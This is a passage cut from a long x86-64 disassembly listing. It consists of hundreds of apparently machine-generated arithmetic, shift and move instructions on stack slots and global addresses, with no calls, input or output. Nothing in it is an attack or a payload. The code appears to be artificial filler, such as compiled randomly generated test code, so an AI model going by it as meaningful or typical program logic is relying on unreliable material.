movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xdf], al
lea rax, [rsp + 0xd70]
mov qword [rsp + 0x7fb0], rax
mov rax, qword [rsp + 0x7968]
mov rcx, qword [rsp + 0x72d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3ca8], eax
mov rax, qword [rsp + 0x74f0]
mov rcx, qword [rsp + 0x7a38]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x7560]
mov qword [rcx], rax
lea rax, [rsp + 0x7970]
mov qword [rsp + 0x7fb8], rax
mov rax, qword [rsp + 0x7b98]
mov ecx, dword [rsp + 0x3cf8]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x3e24], eax
lea rax, [0x14017a59c]
mov qword [rsp + 0x7fc0], rax
mov rax, qword [rsp + 0x7618]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7948]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [0x14017904b], al
mov rax, qword [rsp + 0x7c38]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7d30]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x7538]
mov byte [rcx], al
mov rax, qword [0x14017a6c0]
movzx eax, word [rax]
mov word [rsp + 0xe4c], ax
mov rax, qword [rsp + 0x7b88]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7cf0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xcb], al
mov rax, qword [rsp + 0x7d30]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x8a]
sub eax, ecx
mov rcx, qword [rsp + 0x70c0]
mov byte [rcx], al
lea rax, [0x140179010]
mov qword [rsp + 0x7fc8], rax
mov rax, qword [rsp + 0x6e68]
mov rcx, qword [rsp + 0x71e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x70a0], rax
lea rax, [rsp + 0x3dfc]
mov qword [rsp + 0x7fd0], rax
mov rax, qword [rsp + 0x7820]
mov ecx, dword [rsp + 0x3ccc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3d54], eax
lea rax, [rsp + 0xe2c]
mov qword [0x14017a778], rax
movzx eax, byte [rsp + 0xa2]
movzx ecx, byte [rsp + 0x64]
add eax, ecx
mov byte [rsp + 0x6e], al
movzx eax, word [0x14017906c]
mov word [rsp + 0xe50], ax
movzx eax, word [rsp + 0xd60]
movzx ecx, word [rsp + 0xd88]
sub eax, ecx
mov word [rsp + 0xc10], ax
mov rax, qword [rsp + 0x6d18]
movzx eax, byte [rax]
mov byte [rsp + 0xe5], al
mov rax, qword [0x140179010]
mov rcx, qword [rsp + 0x6cc8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7fa8], rax
mov rax, qword [rsp + 0x6d70]
mov rcx, qword [rsp + 0x7c68]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7f00]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3d4c]
mov dword [rsp + 0x3e2c], eax
mov rax, qword [rsp + 0x7d78]
mov rcx, qword [rsp + 0x73a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3e28], eax
movsx eax, word [rsp + 0xcb4]
movsx ecx, word [rsp + 0xc08]
shl eax, cl
mov rcx, qword [0x14017a690]
mov word [rcx], ax
mov rax, qword [rsp + 0x69b8]
movzx eax, byte [rax]
mov byte [rsp + 0xe6], al
movzx eax, word [rsp + 0xd08]
movzx ecx, word [0x14017909c]
xor eax, ecx
mov rcx, qword [rsp + 0x6c90]
mov word [rcx], ax
mov rax, qword [rsp + 0x6fa8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x71f8]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x48], al
lea rax, [rsp + 0xd4c]
mov qword [rsp + 0x7fd8], rax
mov rax, qword [rsp + 0x7718]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3be0]
sar eax, cl
mov rcx, qword [rsp + 0x7ac8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3db8]
mov dword [rsp + 0x3e30], eax
mov rax, qword [rsp + 0x7310]
mov rcx, qword [rsp + 0x7930]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7318], rax
mov rax, qword [rsp + 0x7178]
mov qword [rsp + 0x7fe0], rax
mov rax, qword [rsp + 0x7a80]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x93]
and eax, ecx
mov byte [0x14017a4fa], al
mov rax, qword [rsp + 0x7b80]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x70d8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc88], ax
mov rax, qword [0x14017a728]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7f20]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xdec], ax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x7fe8], rax
mov rax, qword [rsp + 0x7448]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xd6]
add eax, ecx
mov rcx, qword [rsp + 0x7ba0]
mov byte [rcx], al
lea rax, [0x140179010]
mov qword [rsp + 0x7ff0], rax
mov rax, qword [rsp + 0x76c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c3c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6e80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7188]
mov ecx, dword [rsp + 0x3c28]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3c38], eax
lea rax, [rsp + 0x6e20]
mov qword [rsp + 0x7ff8], rax
lea rax, [rsp + 0x7d]
mov qword [0x14017a780], rax
mov rax, qword [rsp + 0x7bb8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xcf8]
add eax, ecx
mov word [rsp + 0xd00], ax
lea rax, [0x140179048]
mov qword [rsp + 0x8000], rax
movzx eax, byte [rsp + 0xaf]
mov rcx, qword [rsp + 0x7640]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6a10]
mov byte [rcx], al
mov rax, qword [rsp + 0x6ab0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7b58]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x43], al
mov rax, qword [rsp + 0x7840]
mov qword [rsp + 0x8008], rax
mov rax, qword [rsp + 0x7ec0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3df8]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7098]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7df8]
mov eax, dword [rax]
mov dword [rsp + 0x3e34], eax
mov rax, qword [0x140179010]
mov rcx, qword [rsp + 0x7900]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x77a0]
mov qword [rcx], rax
movzx eax, word [rsp + 0xd9c]
mov rcx, qword [rsp + 0x6e78]
movzx ecx, word [rcx]
cdq
idiv ecx
mov rcx, qword [0x14017a6f8]
mov word [rcx], ax
lea rax, [rsp + 0xe0c]
mov qword [rsp + 0x8010], rax
movsx eax, byte [rsp + 0x6b]
movsx ecx, byte [rsp + 0xbe]
sar eax, cl
mov rcx, qword [rsp + 0x7538]
mov byte [rcx], al
mov rax, qword [rsp + 0x6f20]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4b]
shl eax, cl
mov rcx, qword [rsp + 0x6b98]
mov byte [rcx], al
lea rax, [rsp + 0x9d]
mov qword [rsp + 0x8018], rax
mov rax, qword [rsp + 0x7288]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3d28]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3d48], eax
mov rax, qword [rsp + 0x76b0]
mov rax, qword [rax]
mov qword [rsp + 0x8020], rax
mov rax, qword [rsp + 0x7e88]
mov rcx, qword [rsp + 0x6d00]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7c60], rax
mov rax, qword [rsp + 0x7e78]
mov rcx, qword [rsp + 0x6f08]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3c5c], eax
lea rax, [rsp + 0xe18]
mov qword [0x14017a788], rax
lea rax, [rsp + 0x8a]
mov qword [rsp + 0x8028], rax
mov rax, qword [rsp + 0x7c50]
movsx eax, word [rax]
movsx ecx, word [0x140179068]
add eax, ecx
mov word [rsp + 0xc34], ax
mov rax, qword [rsp + 0x6f80]
movzx eax, word [rax]
mov word [rsp + 0xe54], ax
mov rax, qword [rsp + 0x7ef0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd08]
sub eax, ecx
mov rcx, qword [rsp + 0x6eb8]
mov word [rcx], ax
mov rax, qword [rsp + 0x7d98]
mov ecx, dword [section..data]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x78f8]
mov dword [rcx], eax
lea rax, [rsp + 0x7630]
mov qword [rsp + 0x8030], rax
mov rax, qword [rsp + 0x7848]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3e28]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3d9c], eax
mov rax, qword [rsp + 0x7a98]
mov rax, qword [rax]
mov qword [rsp + 0x8038], rax
movsx eax, byte [rsp + 0x9f]
mov rcx, qword [rsp + 0x7018]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14017a538]
mov byte [rcx], al
movzx eax, word [rsp + 0xc8c]
mov rcx, qword [rsp + 0x7228]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7e80]
mov word [rcx], ax
mov rax, qword [rsp + 0x70f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7298]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xd44], ax
mov rax, qword [rsp + 0x7a20]
movzx eax, byte [rax]
mov byte [rsp + 0xe7], al
mov rax, qword [rsp + 0x8018]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe1]
sub eax, ecx
mov rcx, qword [rsp + 0x6f88]
mov byte [rcx], al
lea rax, [rsp + 0x3bb4]
mov qword [rsp + 0x8040], rax
mov rax, qword [rsp + 0x7370]
mov rcx, qword [rsp + 0x6a50]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x74c0], rax
lea rax, [rsp + 0x3d84]
mov qword [rsp + 0x8048], rax
mov rax, qword [rsp + 0x77e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7198]
mov qword [rsp + 0x8050], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8050]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x6f90], rax
movsx eax, byte [rsp + 0xc9]
movsx ecx, byte [rsp + 0xb5]
xor eax, ecx
mov rcx, qword [rsp + 0x79d8]
mov byte [rcx], al
movsx eax, word [rsp + 0xdd8]
movsx ecx, word [rsp + 0xd04]
shl eax, cl
mov word [0x1401790a0], ax
lea rax, [rsp + 0xce]
mov qword [rsp + 0x8058], rax
movzx eax, word [rsp + 0xd9c]
movzx ecx, word [rsp + 0xdcc]
and eax, ecx
mov word [rsp + 0xd74], ax
mov rax, qword [rsp + 0x6e50]
movzx eax, word [rax]
mov word [rsp + 0xe58], ax
mov rax, qword [rsp + 0x73b0]
mov rcx, qword [rsp + 0x72b8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x7210]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6af8]
mov rcx, qword [rsp + 0x74b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x7330]
mov dword [rcx], eax
mov rax, qword [rsp + 0x73d8]
mov eax, dword [rax]
mov dword [rsp + 0x3e38], eax
mov rax, qword [rsp + 0x7d00]
mov rcx, qword [rsp + 0x6fd8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x7888], rax
mov rax, qword [rsp + 0x7f20]
movzx eax, word [rax]
mov word [rsp + 0xe5c], ax
mov rax, qword [rsp + 0x7a80]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x56]
sub eax, ecx
mov byte [0x14017a55a], al
movzx eax, word [0x14017a698]
movzx ecx, word [rsp + 0xe04]
add eax, ecx
mov word [rsp + 0xe14], ax
mov rax, qword [rsp + 0x7cc0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x75c0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7f90]
mov byte [rcx], al
movzx eax, word [rsp + 0xe00]
mov word [rsp + 0xe60], ax
mov rax, qword [rsp + 0x7958]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7238]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x75e0], rax
lea rax, [rsp + 0x7da8]
mov qword [rsp + 0x8060], rax
mov rax, qword [rsp + 0x7620]
mov rcx, qword [0x14017a4d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3d20], eax
mov rax, qword [rsp + 0x7d50]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x7788]
mov qword [rsp + 0x8068], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8068]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x3cd4], eax
movzx eax, byte [rsp + 0x74]
mov byte [rsp + 0xe8], al
mov rax, qword [rsp + 0x78e0]
movzx eax, word [rax]
mov word [0x14017a790], ax
mov rax, qword [0x14017a590]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x42]
or eax, ecx
mov byte [rsp + 0xb6], al
lea rax, [rsp + 0x6a]
mov qword [rsp + 0x8070], rax
movzx eax, byte [rsp + 0x89]
movzx ecx, byte [rsp + 0xd9]
shl eax, cl
mov rcx, qword [rsp + 0x7598]
mov byte [rcx], al
mov eax, dword [0x14017a4d0]
mov dword [rsp + 0x3e3c], eax
mov rax, qword [rsp + 0x7708]
mov rcx, qword [rsp + 0x7a58]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x7160]
mov qword [rcx], rax
mov rax, qword [rsp + 0x75c8]
mov ecx, dword [rsp + 0x3bf4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3dc4], eax
mov rax, qword [rsp + 0x7038]
mov qword [rsp + 0x8078], rax
mov rax, qword [rsp + 0x7028]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7928]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x9c], al
mov rax, qword [rsp + 0x7e80]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7eb0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14017a728]
mov word [rcx], ax
lea rax, [rsp + 0xe50]
mov qword [rsp + 0x8080], rax
mov rax, qword [rsp + 0x72e0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7d20]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xd20], ax
mov rax, qword [rsp + 0x8070]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x79e8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xa5], al
mov rax, qword [rsp + 0x75f8]
movzx eax, word [rax]
mov word [rsp + 0xe64], ax
mov rax, qword [rsp + 0x7700]
mov rcx, qword [rsp + 0x7e18]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x73d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7d10]
mov qword [rsp + 0x8088], rax
mov rax, qword [rsp + 0x7c30]
mov ecx, dword [rsp + 0x3e1c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6d10]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7af8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7090]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7bd0]
mov qword [rcx], rax
lea rax, [rsp + 0x6c]
mov qword [0x14017a798], rax
lea rax, [rsp + 0xd40]
mov qword [rsp + 0x8090], rax
movzx eax, byte [rsp + 0x69]
movzx ecx, byte [rsp + 0xca]
add eax, ecx
mov byte [rsp + 0x83], al
mov rax, qword [rsp + 0x7728]
movzx eax, word [rax]
mov word [rsp + 0xe68], ax
mov rax, qword [0x14017a620]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7db8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xcf8], ax
mov eax, dword [rsp + 0x3cd0]
mov dword [rsp + 0x3e40], eax
mov rax, qword [rsp + 0x7eb8]
movzx ecx, al
mov rax, qword [rsp + 0x7138]
shr rax, cl
mov qword [rsp + 0x7b10], rax
mov rax, qword [rsp + 0x7550]
mov rcx, qword [rsp + 0x70a0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x7d08], rax
mov eax, dword [rsp + 0x3c8c]
mov dword [rsp + 0x3e44], eax
movzx eax, byte [rsp + 0xb8]
movzx ecx, byte [rsp + 0x45]
xor eax, ecx
mov byte [str.___nAv], al
mov rax, qword [0x14017a720]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xcd]
shl eax, cl
mov byte [rsp + 0x7f], al
movzx eax, byte [rsp + 0xa1]
mov byte [rsp + 0xe9], al
movzx eax, word [rsp + 0xde4]
mov rcx, qword [rsp + 0x74c8]
movzx ecx, word [rcx]
cdq
idiv ecx
mov rcx, qword [rsp + 0x77a8]
mov word [rcx], ax
movzx eax, byte [0x14017a4ff]
mov rcx, qword [rsp + 0x7880]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x4b], al
mov rax, qword [rsp + 0x7c30]
mov eax, dword [rax]
mov dword [rsp + 0x3e48], eax
mov rax, qword [rsp + 0x73b8]
mov ecx, dword [section..data]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3c30], eax
lea rax, [rsp + 0x7550]
mov qword [rsp + 0x8098], rax
mov rax, qword [rsp + 0x6ae8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7da8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7668], rax
mov rax, qword [rsp + 0x7448]
movsx eax, byte [rax]
movsx ecx, byte [0x140179037]
sub eax, ecx
mov byte [0x14017904e], al
mov rax, qword [rsp + 0x7398]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7568]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xcb4], ax
mov rax, qword [rsp + 0x6f88]
movzx eax, byte [rax]
mov byte [rsp + 0xea], al
mov rax, qword [rsp + 0x7cb8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6c60]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7528]
mov word [rcx], ax
mov rax, qword [rsp + 0x7c20]
movzx eax, word [rax]
mov word [rsp + 0xe6c], ax
mov rax, qword [rsp + 0x7068]
mov rcx, qword [rsp + 0x7ce8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x7900], rax
mov rax, qword [rsp + 0x7ea0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3d6c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x77d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6a50]
mov qword [rsp + 0x80a0], rax
mov rax, qword [rsp + 0x7478]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3cbc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3cd0], eax
lea rax, [0x14017a718]
mov qword [0x14017a7a0], rax
mov rax, qword [rsp + 0x6b98]
movzx eax, byte [rax]
mov byte [rsp + 0xeb], al
movsx eax, byte [rsp + 0x5d]
mov rcx, qword [rsp + 0x7448]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xd3], al
lea rax, [rsp + 0xc9c]
mov qword [rsp + 0x80a8], rax
mov rax, qword [rsp + 0x7028]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x83]
xor eax, ecx
mov rcx, qword [rsp + 0x6bf0]
mov byte [rcx], al
mov rax, qword [rsp + 0x7510]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x72b8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x80a0], rax
mov rax, qword [rsp + 0x6da0]
mov eax, dword [rax]
mov dword [rsp + 0x3e4c], eax
mov eax, dword [rsp + 0x3c1c]
movzx ecx, al
mov eax, dword [rsp + 0x3d90]
shr eax, cl
mov rcx, qword [rsp + 0x7620]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7980]
mov rax, qword [rax]
mov qword [rsp + 0x80b0], rax
movsx eax, byte [rsp + 0xad]
mov rcx, qword [rsp + 0x75d8]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [0x14017a5c8]
mov byte [rcx], al
mov rax, qword [0x14017a6e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x71f0]
movzx ecx, word [rcx]
cdq
idiv ecx
mov rcx, qword [rsp + 0x7850]
mov word [rcx], ax
movzx eax, word [rsp + 0xcb8]
movzx ecx, word [rsp + 0xe10]
imul eax, ecx
mov rcx, qword [rsp + 0x6a38]
mov word [rcx], ax
lea rax, [rsp + 0x9f]
mov qword [rsp + 0x80b8], rax
movzx eax, byte [rsp + 0x55]
mov rcx, qword [rsp + 0x7dc8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xbb], al
mov rax, qword [rsp + 0x7aa0]
mov eax, dword [rax]
mov dword [rsp + 0x3e50], eax
mov rax, qword [rsp + 0x7638]
mov ecx, dword [rsp + 0x3bf0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3db8], eax
mov rax, qword [rsp + 0x7310]
mov rcx, qword [rsp + 0x7c00]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7a38], rax
lea rax, [rsp + 0x7648]
mov qword [rsp + 0x80c0], rax
mov rax, qword [rsp + 0x7770]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6b68]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x140179028], ax
mov rax, qword [rsp + 0x7528]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc64]
add eax, ecx
mov word [rsp + 0xe58], ax
lea rax, [rsp + 0xd8c]
mov qword [rsp + 0x80c8], rax
mov rax, qword [rsp + 0x6c48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xb6]
sub eax, ecx
mov rcx, qword [rsp + 0x6fe8]
mov byte [rcx], al
mov rax, qword [rsp + 0x7018]
movzx eax, byte [rax]
mov byte [rsp + 0xec], al
mov rax, qword [rsp + 0x6fc8]
mov rcx, qword [rsp + 0x6d58]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7460]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7c68]
mov rcx, qword [rsp + 0x7518]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7210]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7908]
mov eax, dword [rax]
mov dword [rsp + 0x3e54], eax
mov rax, qword [rsp + 0x6c80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3e2c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3d58], eax
movsx eax, word [0x14017a4e0]
movsx ecx, word [rsp + 0xe0c]
shl eax, cl
mov word [0x1401790a4], ax
mov rax, qword [rsp + 0x7a28]
movzx eax, byte [rax]
mov byte [rsp + 0xed], al
movzx eax, word [rsp + 0xd18]
movzx ecx, word [rsp + 0xce4]
or eax, ecx
mov rcx, qword [rsp + 0x8000]
mov word [rcx], ax
mov rax, qword [rsp + 0x7bd8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6c60]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x8090]
mov word [rcx], ax
movzx eax, byte [rsp + 0x62]
mov byte [rsp + 0xee], al
mov eax, dword [rsp + 0x3c08]
mov rcx, qword [rsp + 0x6d40]
mov qword [rsp + 0x80d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x80d0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x3ce4], eax
mov eax, dword [section..data]
mov dword [rsp + 0x3e58], eax
mov rax, qword [rsp + 0x6a20]
mov rcx, qword [rsp + 0x7930]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7138], rax
mov rax, qword [rsp + 0x7f00]
mov rcx, qword [rsp + 0x7958]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x6ff0], rax
mov rax, qword [0x14017a530]
movzx eax, word [rax]
mov word [rsp + 0xe70], ax
lea rax, [rsp + 0x62]
mov qword [0x14017a7a8], rax
movsx eax, word [rsp + 0xc64]
movsx ecx, word [rsp + 0xdb4]
sub eax, ecx
mov rcx, qword [rsp + 0x6e50]
mov word [rcx], ax
movzx eax, byte [rsp + 0xab]
mov byte [rsp + 0xef], al
mov rax, qword [rsp + 0x7470]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7fe8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xd2], al
mov rax, qword [rsp + 0x7c48]
mov rcx, qword [rsp + 0x7ad0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7a38], rax
lea rax, [rsp + 0x3cbc]
mov qword [rsp + 0x80d8], rax
mov rax, qword [rsp + 0x7a78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7f08]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7840], rax
lea rax, [rsp + 0x3cf8]
mov qword [rsp + 0x80e0], rax
movzx eax, byte [rsp + 0x55]
mov rcx, qword [rsp + 0x7758]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xb8], al
movzx eax, word [rsp + 0xd54]
movzx ecx, word [rsp + 0xc74]
sub eax, ecx
mov rcx, qword [0x14017a778]
mov word [rcx], ax
mov rax, qword [rsp + 0x79d8]
movzx eax, byte [rax]
mov byte [rsp + 0xf0], al
movzx eax, byte [rsp + 0xe6]
movzx ecx, byte [rsp + 0xd8]
add eax, ecx
mov byte [rsp + 0xe0], al
movzx eax, word [rsp + 0xc98]
mov rcx, qword [rsp + 0x73a0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xe48], ax
lea rax, [rsp + 0x75a0]
mov qword [rsp + 0x80e8], rax
mov rax, qword [rsp + 0x6eb0]
mov ecx, dword [rsp + 0x3d30]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x7810]
mov dword [rcx], eax
lea rax, [rsp + 0x6f10]
mov qword [rsp + 0x80f0], rax
mov eax, dword [rsp + 0x3dd0]
mov rcx, qword [rsp + 0x7f40]
mov qword [rsp + 0x80f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x80f8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x3e0c], eax
movzx eax, word [rsp + 0xc7c]
mov rcx, qword [rsp + 0x7048]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x7850]
mov word [rcx], ax
movzx eax, byte [rsp + 0xe1]
movzx ecx, byte [rsp + 0x69]
shl eax, cl
mov rcx, qword [0x14017a6b0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x49]
mov byte [rsp + 0xf1], al
movsx eax, word [rsp + 0xc44]
mov rcx, qword [rsp + 0x73e0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xdd4], ax
movzx eax, word [rsp + 0xd34]
mov word [rsp + 0xe74], ax
mov rax, qword [rsp + 0x7860]
mov rcx, qword [rsp + 0x7218]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x76d8], rax
mov eax, dword [rsp + 0x3dd8]
mov ecx, dword [0x14017a4d0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7820]
mov dword [rcx], eax
lea rax, [rsp + 0x3e30]
mov qword [rsp + 0x8100], rax
mov rax, qword [rsp + 0x6c98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7da8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6ae8]
mov qword [rcx], rax
lea rax, [rsp + 0xe68]
mov qword [rsp + 0x8108], rax
mov rax, qword [rsp + 0x6be0]
movzx eax, word [rax]
mov word [0x14017a7b0], ax
mov rax, qword [rsp + 0x70c0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xb2]
add eax, ecx
mov byte [rsp + 0x95], al
mov rax, qword [rsp + 0x6bf0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x42]
sub eax, ecx
mov rcx, qword [rsp + 0x7e68]
mov byte [rcx], al
lea rax, [rsp + 0xc48]
mov qword [rsp + 0x8110], rax
mov rax, qword [rsp + 0x6ec0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xa5]
sub eax, ecx
mov byte [rsp + 0x74], al
lea rax, [rsp + 0x7278]
mov qword [rsp + 0x8118], rax
mov rax, qword [rsp + 0x6aa0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x78a8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6cb0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3bb4]
mov dword [rsp + 0x3e5c], eax
mov rax, qword [rsp + 0x73a8]
mov ecx, dword [rsp + 0x3c94]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3b2c], eax
movsx eax, word [rsp + 0xe00]
mov rcx, qword [rsp + 0x6c60]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x140179068], ax
movzx eax, word [rsp + 0xe5c]
